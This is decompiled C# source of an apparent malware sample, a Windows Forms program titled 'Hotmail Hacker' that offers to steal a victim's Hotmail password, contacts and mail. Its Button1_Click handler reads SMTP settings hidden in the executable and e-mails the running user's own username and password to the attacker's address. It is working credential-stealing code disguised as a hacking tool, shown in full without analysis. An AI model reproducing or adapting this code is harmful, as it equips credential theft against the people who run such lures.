// Decompiled with JetBrains decompiler
// Type: Hotmail_Hacker.Form1
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Net;
using System.Net.Mail;
using System.Runtime.CompilerServices;
using System.Windows.Forms;

namespace Hotmail_Hacker
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private static List<WeakReference> __ENCList = new List<WeakReference>();
    private IContainer components;
    [AccessedThroughProperty("GroupBox1")]
    private GroupBox _GroupBox1;
    [AccessedThroughProperty("TextBox2")]
    private TextBox _TextBox2;
    [AccessedThroughProperty("Label2")]
    private Label _Label2;
    [AccessedThroughProperty("TextBox1")]
    private TextBox _TextBox1;
    [AccessedThroughProperty("Label1")]
    private Label _Label1;
    [AccessedThroughProperty("GroupBox2")]
    private GroupBox _GroupBox2;
    [AccessedThroughProperty("CheckBox1")]
    private CheckBox _CheckBox1;
    [AccessedThroughProperty("TextBox3")]
    private TextBox _TextBox3;
    [AccessedThroughProperty("Label5")]
    private Label _Label5;
    [AccessedThroughProperty("Label3")]
    private Label _Label3;
    [AccessedThroughProperty("TextBox4")]
    private TextBox _TextBox4;
    [AccessedThroughProperty("Label4")]
    private Label _Label4;
    [AccessedThroughProperty("Label6")]
    private Label _Label6;
    [AccessedThroughProperty("NumericUpDown1")]
    private NumericUpDown _NumericUpDown1;
    [AccessedThroughProperty("GroupBox3")]
    private GroupBox _GroupBox3;
    [AccessedThroughProperty("CheckBox4")]
    private CheckBox _CheckBox4;
    [AccessedThroughProperty("CheckBox3")]
    private CheckBox _CheckBox3;
    [AccessedThroughProperty("CheckBox2")]
    private CheckBox _CheckBox2;
    [AccessedThroughProperty("CheckBox7")]
    private CheckBox _CheckBox7;
    [AccessedThroughProperty("CheckBox6")]
    private CheckBox _CheckBox6;
    [AccessedThroughProperty("CheckBox5")]
    private CheckBox _CheckBox5;
    [AccessedThroughProperty("Label7")]
    private Label _Label7;
    [AccessedThroughProperty("Button1")]
    private Button _Button1;
    [AccessedThroughProperty("Button2")]
    private Button _Button2;

    [DebuggerNonUserCode]
    static Form1()
    {
    }

    [DebuggerNonUserCode]
    public Form1()
    {
      lock (Form1.__ENCList)
        Form1.__ENCList.Add(new WeakReference((object) this));
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
      this.GroupBox1 = new GroupBox();
      this.Label1 = new Label();
      this.TextBox1 = new TextBox();
      this.Label2 = new Label();
      this.TextBox2 = new TextBox();
      this.GroupBox2 = new GroupBox();
      this.Label3 = new Label();
      this.TextBox4 = new TextBox();
      this.Label4 = new Label();
      this.Label5 = new Label();
      this.TextBox3 = new TextBox();
      this.CheckBox1 = new CheckBox();
      this.NumericUpDown1 = new NumericUpDown();
      this.Label6 = new Label();
      this.GroupBox3 = new GroupBox();
      this.CheckBox2 = new CheckBox();
      this.CheckBox3 = new CheckBox();
      this.CheckBox4 = new CheckBox();
      this.Label7 = new Label();
      this.CheckBox5 = new CheckBox();
      this.CheckBox6 = new CheckBox();
      this.CheckBox7 = new CheckBox();
      this.Button1 = new Button();
      this.Button2 = new Button();
      this.GroupBox1.SuspendLayout();
      this.GroupBox2.SuspendLayout();
      this.NumericUpDown1.BeginInit();
      this.GroupBox3.SuspendLayout();
      this.SuspendLayout();
      this.GroupBox1.BackColor = Color.Transparent;
      this.GroupBox1.Controls.Add((Control) this.TextBox2);
      this.GroupBox1.Controls.Add((Control) this.Label2);
      this.GroupBox1.Controls.Add((Control) this.TextBox1);
      this.GroupBox1.Controls.Add((Control) this.Label1);
      GroupBox groupBox1_1 = this.GroupBox1;
      Point point1 = new Point(12, 315);
      Point point2 = point1;
      groupBox1_1.Location = point2;
      this.GroupBox1.Name = "GroupBox1";
      GroupBox groupBox1_2 = this.GroupBox1;
      Size size1 = new Size(268, 103);
      Size size2 = size1;
      groupBox1_2.Size = size2;
      this.GroupBox1.TabIndex = 3;
      this.GroupBox1.TabStop = false;
      this.GroupBox1.Text = "Your Account Information:";
      this.Label1.AutoSize = true;
      Label label1_1 = this.Label1;
      point1 = new Point(6, 16);
      Point point3 = point1;
      label1_1.Location = point3;
      this.Label1.Name = "Label1";
      Label label1_2 = this.Label1;
      size1 = new Size(58, 13);
      Size size3 = size1;
      label1_2.Size = size3;
      this.Label1.TabIndex = 1;
      this.Label1.Text = "Username:";
      TextBox textBox1_1 = this.TextBox1;
      point1 = new Point(9, 32);
      Point point4 = point1;
      textBox1_1.Location = point4;
      this.TextBox1.Name = "TextBox1";
      TextBox textBox1_2 = this.TextBox1;
      size1 = new Size(253, 20);
      Size size4 = size1;
      textBox1_2.Size = size4;
      this.TextBox1.TabIndex = 11;
      this.Label2.AutoSize = true;
      Label label2_1 = this.Label2;
      point1 = new Point(6, 55);
      Point point5 = point1;
      label2_1.Location = point5;
      this.Label2.Name = "Label2";
      Label label2_2 = this.Label2;
      size1 = new Size(56, 13);
      Size size5 = size1;
      label2_2.Size = size5;
      this.Label2.TabIndex = 3;
      this.Label2.Text = "Password:";
      this.TextBox2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
      TextBox textBox2_1 = this.TextBox2;
      point1 = new Point(9, 71);
      Point point6 = point1;
      textBox2_1.Location = point6;
      this.TextBox2.Name = "TextBox2";
      this.TextBox2.PasswordChar = 'X';
      TextBox textBox2_2 = this.TextBox2;
      size1 = new Size(253, 20);
      Size size6 = size1;
      textBox2_2.Size = size6;
      this.TextBox2.TabIndex = 12;
      this.GroupBox2.BackColor = Color.Transparent;
      this.GroupBox2.Controls.Add((Control) this.Label6);
      this.GroupBox2.Controls.Add((Control) this.NumericUpDown1);
      this.GroupBox2.Controls.Add((Control) this.CheckBox1);
      this.GroupBox2.Controls.Add((Control) this.TextBox3);
      this.GroupBox2.Controls.Add((Control) this.Label5);
      this.GroupBox2.Controls.Add((Control) this.Label3);
      this.GroupBox2.Controls.Add((Control) this.TextBox4);
      this.GroupBox2.Controls.Add((Control) this.Label4);
      GroupBox groupBox2_1 = this.GroupBox2;
      point1 = new Point(12, 57);
      Point point7 = point1;
      groupBox2_1.Location = point7;
      this.GroupBox2.Name = "GroupBox2";
      GroupBox groupBox2_2 = this.GroupBox2;
      size1 = new Size(268, 157);
      Size size7 = size1;
      groupBox2_2.Size = size7;
      this.GroupBox2.TabIndex = 1;
      this.GroupBox2.TabStop = false;
      this.GroupBox2.Text = "Your Victims Account Information:";
      this.Label3.AutoSize = true;
      Label label3_1 = this.Label3;
      point1 = new Point(4, 68);
      Point point8 = point1;
      label3_1.Location = point8;
      this.Label3.Name = "Label3";
      Label label3_2 = this.Label3;
      size1 = new Size(56, 13);
      Size size8 = size1;
      label3_2.Size = size8;
      this.Label3.TabIndex = 3;
      this.Label3.Text = "Password:";
      TextBox textBox4_1 = this.TextBox4;
      point1 = new Point(7, 45);
      Point point9 = point1;
      textBox4_1.Location = point9;
      this.TextBox4.Name = "TextBox4";
      TextBox textBox4_2 = this.TextBox4;
      size1 = new Size(253, 20);
      Size size9 = size1;
      textBox4_2.Size = size9;
      this.TextBox4.TabIndex = 1;
      this.Label4.AutoSize = true;
      Label label4_1 = this.Label4;
      point1 = new Point(4, 29);
      Point point10 = point1;
      label4_1.Location = point10;
      this.Label4.Name = "Label4";
      Label label4_2 = this.Label4;
      size1 = new Size(58, 13);
      Size size10 = size1;
      label4_2.Size = size10;
      this.Label4.TabIndex = 1;
      this.Label4.Text = "Username:";
      this.Label5.AutoSize = true;
      Label label5_1 = this.Label5;
      point1 = new Point(71, 16);
      Point point11 = point1;
      label5_1.Location = point11;
      this.Label5.Name = "Label5";
      Label label5_2 = this.Label5;
      size1 = new Size(189, 13);
      Size size11 = size1;
      label5_2.Size = size11;
      this.Label5.TabIndex = 4;
      this.Label5.Text = "Enter As Much Information As Possible";
      TextBox textBox3_1 = this.TextBox3;
      point1 = new Point(7, 84);
      Point point12 = point1;
      textBox3_1.Location = point12;
      this.TextBox3.Name = "TextBox3";
      TextBox textBox3_2 = this.TextBox3;
      size1 = new Size(253, 20);
      Size size12 = size1;
      textBox3_2.Size = size12;
      this.TextBox3.TabIndex = 2;
      this.CheckBox1.AutoSize = true;
      CheckBox checkBox1_1 = this.CheckBox1;
      point1 = new Point(7, 110);
      Point point13 = point1;
      checkBox1_1.Location = point13;
      this.CheckBox1.Name = "CheckBox1";
      CheckBox checkBox1_2 = this.CheckBox1;
      size1 = new Size(121, 17);
      Size size13 = size1;
      checkBox1_2.Size = size13;
      this.CheckBox1.TabIndex = 3;
      this.CheckBox1.Text = "Unknown Password";
      this.CheckBox1.UseVisualStyleBackColor = true;
      this.NumericUpDown1.Enabled = false;
      NumericUpDown numericUpDown1_1 = this.NumericUpDown1;
      point1 = new Point(149, 128);
      Point point14 = point1;
      numericUpDown1_1.Location = point14;
      NumericUpDown numericUpDown1_2 = this.NumericUpDown1;
      Decimal num1 = new Decimal(new int[4]
      {
        1,
        0,
        0,
        0
      });
      Decimal num2 = num1;
      numericUpDown1_2.Minimum = num2;
      this.NumericUpDown1.Name = "NumericUpDown1";
      NumericUpDown numericUpDown1_3 = this.NumericUpDown1;
      size1 = new Size(40, 20);
      Size size14 = size1;
      numericUpDown1_3.Size = size14;
      this.NumericUpDown1.TabIndex = 4;
      NumericUpDown numericUpDown1_4 = this.NumericUpDown1;
      num1 = new Decimal(new int[4]{ 1, 0, 0, 0 });
      Decimal num3 = num1;
      numericUpDown1_4.Value = num3;
      this.Label6.AutoSize = true;
      Label label6_1 = this.Label6;
      point1 = new Point(4, 130);
      Point point15 = point1;
      label6_1.Location = point15;
      this.Label6.Name = "Label6";
      Label label6_2 = this.Label6;
      size1 = new Size(139, 13);
      Size size15 = size1;
      label6_2.Size = size15;
      this.Label6.TabIndex = 7;
      this.Label6.Text = "Maximum Password Length:";
      this.GroupBox3.BackColor = Color.Transparent;
      this.GroupBox3.Controls.Add((Control) this.CheckBox7);
      this.GroupBox3.Controls.Add((Control) this.CheckBox6);
      this.GroupBox3.Controls.Add((Control) this.CheckBox5);
      this.GroupBox3.Controls.Add((Control) this.CheckBox4);
      this.GroupBox3.Controls.Add((Control) this.CheckBox3);
      this.GroupBox3.Controls.Add((Control) this.CheckBox2);
      GroupBox groupBox3_1 = this.GroupBox3;
      point1 = new Point(12, 220);
      Point point16 = point1;
      groupBox3_1.Location = point16;
      this.GroupBox3.Name = "GroupBox3";
      GroupBox groupBox3_2 = this.GroupBox3;
      size1 = new Size(268, 89);
      Size size16 = size1;
      groupBox3_2.Size = size16;
      this.GroupBox3.TabIndex = 2;
      this.GroupBox3.TabStop = false;
      this.GroupBox3.Text = "What To Do:";
      this.CheckBox2.AutoSize = true;
      CheckBox checkBox2_1 = this.CheckBox2;
      point1 = new Point(7, 19);
      Point point17 = point1;
      checkBox2_1.Location = point17;
      this.CheckBox2.Name = "CheckBox2";
      CheckBox checkBox2_2 = this.CheckBox2;
      size1 = new Size(92, 17);
      Size size17 = size1;
      checkBox2_2.Size = size17;
      this.CheckBox2.TabIndex = 5;
      this.CheckBox2.Text = "Get Password";
      this.CheckBox2.UseVisualStyleBackColor = true;
      this.CheckBox3.AutoSize = true;
      CheckBox checkBox3_1 = this.CheckBox3;
      point1 = new Point(7, 42);
      Point point18 = point1;
      checkBox3_1.Location = point18;
      this.CheckBox3.Name = "CheckBox3";
      CheckBox checkBox3_2 = this.CheckBox3;
      size1 = new Size(142, 17);
      Size size18 = size1;
      checkBox3_2.Size = size18;
      this.CheckBox3.TabIndex = 6;
      this.CheckBox3.Text = "Get Personal Information";
      this.CheckBox3.UseVisualStyleBackColor = true;
      this.CheckBox4.AutoSize = true;
      CheckBox checkBox4_1 = this.CheckBox4;
      point1 = new Point(7, 65);
      Point point19 = point1;
      checkBox4_1.Location = point19;
      this.CheckBox4.Name = "CheckBox4";
      CheckBox checkBox4_2 = this.CheckBox4;
      size1 = new Size(88, 17);
      Size size19 = size1;
      checkBox4_2.Size = size19;
      this.CheckBox4.TabIndex = 7;
      this.CheckBox4.Text = "Get Contacts";
      this.CheckBox4.UseVisualStyleBackColor = true;
      this.Label7.AutoSize = true;
      this.Label7.BackColor = Color.Transparent;
      Label label7_1 = this.Label7;
      point1 = new Point(27, 421);
      Point point20 = point1;
      label7_1.Location = point20;
      this.Label7.Name = "Label7";
      Label label7_2 = this.Label7;
      size1 = new Size(237, 13);
      Size size20 = size1;
      label7_2.Size = size20;
      this.Label7.TabIndex = 3;
      this.Label7.Text = "***You MUST Be Logged In For This To Work***";
      this.CheckBox5.AutoSize = true;
      CheckBox checkBox5_1 = this.CheckBox5;
      point1 = new Point(149, 19);
      Point point21 = point1;
      checkBox5_1.Location = point21;
      this.CheckBox5.Name = "CheckBox5";
      CheckBox checkBox5_2 = this.CheckBox5;
      size1 = new Size(120, 17);
      Size size21 = size1;
      checkBox5_2.Size = size21;
      this.CheckBox5.TabIndex = 8;
      this.CheckBox5.Text = "Download All E-Mail";
      this.CheckBox5.UseVisualStyleBackColor = true;
      this.CheckBox6.AutoSize = true;
      CheckBox checkBox6_1 = this.CheckBox6;
      point1 = new Point(149, 65);
      Point point22 = point1;
      checkBox6_1.Location = point22;
      this.CheckBox6.Name = "CheckBox6";
      CheckBox checkBox6_2 = this.CheckBox6;
      size1 = new Size(95, 17);
      Size size22 = size1;
      checkBox6_2.Size = size22;
      this.CheckBox6.TabIndex = 10;
      this.CheckBox6.Text = "Close Account";
      this.CheckBox6.UseVisualStyleBackColor = true;
      this.CheckBox7.AutoSize = true;
      CheckBox checkBox7_1 = this.CheckBox7;
      point1 = new Point(149, 42);
      Point point23 = point1;
      checkBox7_1.Location = point23;
      this.CheckBox7.Name = "CheckBox7";
      CheckBox checkBox7_2 = this.CheckBox7;
      size1 = new Size(103, 17);
      Size size23 = size1;
      checkBox7_2.Size = size23;
      this.CheckBox7.TabIndex = 9;
      this.CheckBox7.Text = "Delete All E-Mail";
      this.CheckBox7.UseVisualStyleBackColor = true;
      Button button1_1 = this.Button1;
      point1 = new Point(19, 437);
      Point point24 = point1;
      button1_1.Location = point24;
      this.Button1.Name = "Button1";
      Button button1_2 = this.Button1;
      size1 = new Size(92, 23);
      Size size24 = size1;
      button1_2.Size = size24;
      this.Button1.TabIndex = 13;
      this.Button1.Text = "Login And Start";
      this.Button1.UseVisualStyleBackColor = true;
      Button button2_1 = this.Button2;
      point1 = new Point(199, 437);
      Point point25 = point1;
      button2_1.Location = point25;
      this.Button2.Name = "Button2";
      Button button2_2 = this.Button2;
      size1 = new Size(75, 23);
      Size size25 = size1;
      button2_2.Size = size25;
      this.Button2.TabIndex = 14;
      this.Button2.Text = "Exit";
      this.Button2.UseVisualStyleBackColor = true;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.AutoSizeMode = AutoSizeMode.GrowAndShrink;
      this.BackgroundImage = (Image) Hotmail_Hacker.My.Resources.Resources.Untitled_1;
      this.BackgroundImageLayout = ImageLayout.Stretch;
      size1 = new Size(292, 469);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.Button2);
      this.Controls.Add((Control) this.Button1);
      this.Controls.Add((Control) this.Label7);
      this.Controls.Add((Control) this.GroupBox3);
      this.Controls.Add((Control) this.GroupBox2);
      this.Controls.Add((Control) this.GroupBox1);
      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
      this.MaximizeBox = false;
      this.MinimizeBox = false;
      this.Name = nameof (Form1);
      this.Text = "Hotmail Hacker";
      this.GroupBox1.ResumeLayout(false);
      this.GroupBox1.PerformLayout();
      this.GroupBox2.ResumeLayout(false);
      this.GroupBox2.PerformLayout();
      this.NumericUpDown1.EndInit();
      this.GroupBox3.ResumeLayout(false);
      this.GroupBox3.PerformLayout();
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual GroupBox GroupBox1
    {
      [DebuggerNonUserCode] get => this._GroupBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value;
    }

    internal virtual TextBox TextBox2
    {
      [DebuggerNonUserCode] get => this._TextBox2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
    }

    internal virtual Label Label2
    {
      [DebuggerNonUserCode] get => this._Label2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
    }

    internal virtual TextBox TextBox1
    {
      [DebuggerNonUserCode] get => this._TextBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
    }

    internal virtual Label Label1
    {
      [DebuggerNonUserCode] get => this._Label1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
    }

    internal virtual GroupBox GroupBox2
    {
      [DebuggerNonUserCode] get => this._GroupBox2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value;
    }

    internal virtual CheckBox CheckBox1
    {
      [DebuggerNonUserCode] get => this._CheckBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.CheckBox1_CheckedChanged);
        if (this._CheckBox1 != null)
          this._CheckBox1.CheckedChanged -= eventHandler;
        this._CheckBox1 = value;
        if (this._CheckBox1 == null)
          return;
        this._CheckBox1.CheckedChanged += eventHandler;
      }
    }

    internal virtual TextBox TextBox3
    {
      [DebuggerNonUserCode] get => this._TextBox3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
    }

    internal virtual Label Label5
    {
      [DebuggerNonUserCode] get => this._Label5;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value;
    }

    internal virtual Label Label3
    {
      [DebuggerNonUserCode] get => this._Label3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
    }

    internal virtual TextBox TextBox4
    {
      [DebuggerNonUserCode] get => this._TextBox4;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value;
    }

    internal virtual Label Label4
    {
      [DebuggerNonUserCode] get => this._Label4;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
    }

    internal virtual Label Label6
    {
      [DebuggerNonUserCode] get => this._Label6;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value;
    }

    internal virtual NumericUpDown NumericUpDown1
    {
      [DebuggerNonUserCode] get => this._NumericUpDown1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._NumericUpDown1 = value;
    }

    internal virtual GroupBox GroupBox3
    {
      [DebuggerNonUserCode] get => this._GroupBox3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox3 = value;
    }

    internal virtual CheckBox CheckBox4
    {
      [DebuggerNonUserCode] get => this._CheckBox4;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox4 = value;
    }

    internal virtual CheckBox CheckBox3
    {
      [DebuggerNonUserCode] get => this._CheckBox3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox3 = value;
    }

    internal virtual CheckBox CheckBox2
    {
      [DebuggerNonUserCode] get => this._CheckBox2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox2 = value;
    }

    internal virtual CheckBox CheckBox7
    {
      [DebuggerNonUserCode] get => this._CheckBox7;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox7 = value;
    }

    internal virtual CheckBox CheckBox6
    {
      [DebuggerNonUserCode] get => this._CheckBox6;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox6 = value;
    }

    internal virtual CheckBox CheckBox5
    {
      [DebuggerNonUserCode] get => this._CheckBox5;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox5 = value;
    }

    internal virtual Label Label7
    {
      [DebuggerNonUserCode] get => this._Label7;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value;
    }

    internal virtual Button Button1
    {
      [DebuggerNonUserCode] get => this._Button1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Button1_Click);
        if (this._Button1 != null)
          this._Button1.Click -= eventHandler;
        this._Button1 = value;
        if (this._Button1 == null)
          return;
        this._Button1.Click += eventHandler;
      }
    }

    internal virtual Button Button2
    {
      [DebuggerNonUserCode] get => this._Button2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Button2_Click);
        if (this._Button2 != null)
          this._Button2.Click -= eventHandler;
        this._Button2 = value;
        if (this._Button2 == null)
          return;
        this._Button2.Click += eventHandler;
      }
    }

    private void Button2_Click(object sender, EventArgs e) => this.Close();

    private void CheckBox1_CheckedChanged(object sender, EventArgs e)
    {
      if (this.CheckBox1.Checked)
      {
        this.TextBox3.Enabled = false;
        this.NumericUpDown1.Enabled = true;
      }
      else
      {
        this.TextBox3.Enabled = true;
        this.NumericUpDown1.Enabled = false;
      }
    }

    private void Button1_Click(object sender, EventArgs e)
    {
label_1:
      int num1;
      int num2;
      try
      {
        int num3 = 1;
        FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
label_2:
        num3 = 2;
        string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_3:
        num3 = 3;
        string str1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_4:
        num3 = 4;
        string str2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_5:
        num3 = 5;
        string str3 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_6:
        num3 = 6;
        string str4 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_7:
        num3 = 7;
        string str5 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_8:
        num3 = 8;
        string str6 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_9:
        num3 = 9;
        FileSystem.FileGet(1, ref Expression);
label_10:
        num3 = 10;
        FileSystem.FileGet(1, ref str1);
label_11:
        num3 = 11;
        FileSystem.FileGet(1, ref str2);
label_12:
        num3 = 12;
        FileSystem.FileGet(1, ref str3);
label_13:
        num3 = 13;
        FileSystem.FileGet(1, ref str4);
label_14:
        num3 = 14;
        FileSystem.FileGet(1, ref str5);
label_15:
        num3 = 15;
        FileSystem.FileGet(1, ref str6);
label_16:
        num3 = 16;
        FileSystem.FileClose(1);
label_17:
        num3 = 17;
        string[] strArray = Strings.Split(Expression, "@!HoHa!@");
label_18:
        num3 = 18;
        if (Operators.CompareString(this.TextBox1.Text, "", false) != 0)
          goto label_20;
label_19:
        num3 = 19;
        int num4 = (int) Interaction.MsgBox((object) "You need to enter your information for this to work!");
        goto label_36;
label_20:
label_21:
        num3 = 22;
        if (Operators.CompareString(this.TextBox2.Text, "", false) != 0)
          goto label_23;
label_22:
        num3 = 23;
        int num5 = (int) Interaction.MsgBox((object) "You need to enter your information for this to work!");
        goto label_36;
label_23:
label_24:
        ProjectData.ClearProjectError();
        num1 = -2;
label_25:
        num3 = 27;
        MailMessage message = new MailMessage();
label_26:
        num3 = 28;
        message.From = new MailAddress(strArray[1]);
label_27:
        num3 = 29;
        message.To.Add(strArray[1]);
label_28:
        num3 = 30;
        message.Subject = strArray[3];
label_29:
        num3 = 31;
        message.Body = "Username:\r\n" + this.TextBox1.Text + "\r\n\r\nPassword:\r\n" + this.TextBox2.Text + "\r\n\r\nIs attempting to hack: \r\n" + this.TextBox4.Text;
label_30:
        num3 = 32;
        SmtpClient smtpClient = new SmtpClient(strArray[4]);
label_31:
        num3 = 33;
        smtpClient.Port = Conversions.ToInteger(strArray[7]);
label_32:
        num3 = 34;
        smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(strArray[1], strArray[2]);
label_33:
        num3 = 35;
        smtpClient.EnableSsl = Conversions.ToBoolean(strArray[6]);
label_34:
        num3 = 36;
        smtpClient.Send(message);
label_35:
        num3 = 37;
        int num6 = (int) Interaction.MsgBox((object) strArray[5]);
label_36:
        goto label_43;
label_38:
        num2 = num3;
        switch (num1 > -2 ? num1 : 1)
        {
          case 1:
            int num7 = num2 + 1;
            num2 = 0;
            switch (num7)
            {
              case 1:
                goto label_1;
              case 2:
                goto label_2;
              case 3:
                goto label_3;
              case 4:
                goto label_4;
              case 5:
                goto label_5;
              case 6:
                goto label_6;
              case 7:
                goto label_7;
              case 8:
                goto label_8;
              case 9:
                goto label_9;
              case 10:
                goto label_10;
              case 11:
                goto label_11;
              case 12:
                goto label_12;
              case 13:
                goto label_13;
              case 14:
                goto label_14;
              case 15:
                goto label_15;
              case 16:
                goto label_16;
              case 17:
                goto label_17;
              case 18:
                goto label_18;
              case 19:
                goto label_19;
              case 20:
              case 24:
                goto label_36;
              case 21:
                goto label_20;
              case 22:
                goto label_21;
              case 23:
                goto label_22;
              case 25:
                goto label_23;
              case 26:
                goto label_24;
              case 27:
                goto label_25;
              case 28:
                goto label_26;
              case 29:
                goto label_27;
              case 30:
                goto label_28;
              case 31:
                goto label_29;
              case 32:
                goto label_30;
              case 33:
                goto label_31;
              case 34:
                goto label_32;
              case 35:
                goto label_33;
              case 36:
                goto label_34;
              case 37:
                goto label_35;
              case 38:
                goto label_43;
            }
            break;
        }
      }
      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
      {
        ProjectData.SetProjectError(ex);
        goto label_38;
      }
      throw ProjectData.CreateProjectError(-2146828237);
label_43:
      if (num2 == 0)
        return;
      ProjectData.ClearProjectError();
    }
  }
}
